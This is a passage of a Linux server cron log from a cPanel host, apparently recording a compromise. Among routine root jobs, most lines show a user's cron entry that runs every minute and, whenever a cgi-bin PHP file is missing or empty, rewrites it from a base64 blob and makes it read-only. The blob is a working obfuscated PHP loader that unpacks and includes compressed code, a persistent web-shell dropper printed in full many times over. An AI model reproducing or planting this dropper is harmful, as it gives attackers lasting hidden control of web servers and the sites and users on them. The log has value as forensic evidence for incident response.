4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:50:01 server CROND[15982]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 01:50:01 server CROND[15983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 01:50:01 server CROND[15984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:50:01 server CROND[15985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:50:01 server CROND[15987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:51:01 server CROND[16091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:52:01 server CROND[16139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:53:01 server CROND[16198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:54:01 server CROND[16246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:55:01 server CROND[16467]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:55:01 server CROND[16469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:55:01 server CROND[16468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:56:01 server CROND[16576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:57:01 server CROND[16631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:57:01 server CROND[16632]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 01:58:01 server CROND[16681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:59:01 server CROND[16734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:00:01 server CROND[16849]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 02:00:01 server CROND[16850]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 02:00:01 server CROND[16851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 02:00:01 server CROND[16855]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 02:00:01 server CROND[16857]: (root) CMD (/usr/local/cpanel/bin/backup)
Apr 10 02:00:01 server CROND[16858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:01:01 server CROND[17016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 02:01:01 server CROND[17017]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 02:01:01 server run-parts(/etc/cron.hourly)[17017]: starting 0anacron
Apr 10 02:01:01 server anacron[17029]: Anacron started on 2025-04-10
Apr 10 02:01:01 server anacron[17029]: Normal exit (0 jobs run)
Apr 10 02:01:01 server run-parts(/etc/cron.hourly)[17031]: finished 0anacron
Apr 10 02:02:01 server CROND[17076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
